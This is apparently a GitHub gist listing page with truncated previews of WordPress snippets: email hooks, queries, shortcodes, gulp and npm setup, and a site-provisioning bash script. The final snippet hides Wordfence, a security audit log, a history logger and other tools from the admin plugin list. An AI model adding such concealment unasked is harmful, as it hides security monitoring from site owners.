View functions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* | |
* https://codex.wordpress.org/Post_Status_Transitions | |
* | |
* Send email to admin after user create new product from frontend form. | |
* Send emails on products publication | |
* @param WP_Post $post | |
* | |
* | |
*/ |
View posts-metakey.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = array( | |
'post_type' => 'projects', | |
'posts_per_page' => 9, | |
'post_status' => 'publish', | |
'meta_query' => array( | |
'relation' => 'OR', | |
array( | |
'key' => 'featured-checkbox', |
View addinfunctions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* Gravity Forms Word Count Script */ | |
function els_load_scripts() { | |
wp_enqueue_script('gravity-forms-word-count', get_stylesheet_directory_uri() . '/js/jquery.gravity_word_count.js', array('jquery'), '0.1', true); | |
} | |
add_action('wp_enqueue_scripts', 'els_load_scripts'); | |
/*Then in the form, for fields that need the word count, add the class ‘els-word-count[300].' Change [300] as needed for the maximum words that can be added to that particular field.*/ | |
/*Source http://www.gravityhelp.com/forums/topic/maximum-word-count#post-149331*/ |
View NPM installation requirements
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
npm install --save asset-builder browser-sync del gulp gulp-autoprefixer gulp-changed gulp-concat gulp-cssnano gulp-flatten gulp-if gulp-imagemin gulp-jshint gulp-less gulp-plumber gulp-rename gulp-rev gulp-sass gulp-sourcemaps gulp-uglify imagemin-pngcrush jshint jshint-stylish lazypipe merge-stream minimist run-sequence traverse wiredep gulp-util gulp-combine-mq critical gulp-rename gulp-penthouse |
View 01-gulpfile.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*! | |
* gulp | |
* $ npm install gulp-ruby-sass gulp-autoprefixer gulp-cssnano gulp-jshint gulp-concat gulp-uglify gulp-imagemin gulp-notify gulp-rename gulp-livereload gulp-cache del --save-dev | |
*/ | |
// Load plugins | |
var gulp = require('gulp'), | |
sass = require('gulp-ruby-sass'), | |
autoprefixer = require('gulp-autoprefixer'), | |
cssnano = require('gulp-cssnano'), |
View functions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* How To Disable Admin Notices In WordPress | |
* | |
*/ | |
add_action('admin_enqueue_scripts', 'os_admin_theme_style'); | |
add_action('login_enqueue_scripts', 'os_admin_theme_style'); | |
function os_admin_theme_style() { | |
$super_admins = array( 5 ); | |
if( ! in_array( get_current_user_id(), $super_admins ) ){ |
View functions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* | |
* Shortcode contact form | |
*/ | |
// @codingStandardsIgnoreStart | |
function decorativefair_shortcode_product_form($item) { | |
ob_start(); | |
global $post, $product; | |
$author_name = get_the_author_meta( 'user_email', $product->post->post_author ); |
View functions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* | |
* Countdown Timer Shortcode | |
* [cdt month="9" day="28" year="2021"] This is content that will only be shown after a set number of days.[/cdt] | |
* | |
*/ | |
// @codingStandardsIgnoreStart | |
function aet_content_countdown($atts, $content = null){ | |
extract(shortcode_atts(array( |
View ns-create-vh-db-wp-ssl.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# ------------------------------------------------- | |
# Make site directory | |
# Download WP and install WP to site directory | |
# Set WP configuration | |
# Configure NGINX for new domain-name | |
# ------------------------------------------------- | |
# | |
# Requirments: | |
# |
View functions.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ns_hide_plugin() { | |
global $wp_list_table; | |
$hidearr = array('wordfence/wordfence.php', 'updraftplus/updraftplus.php', 'wp-security-audit-log/wp-security-audit-log.php', 'simple-history/index.php', 'user-switching/user-switching.php'); | |
$myplugins = $wp_list_table->items; | |
foreach ($myplugins as $key => $val) { | |
if (in_array($key,$hidearr)) { | |
unset($wp_list_table->items[$key]); | |
} | |
} | |
} |
NewerOlder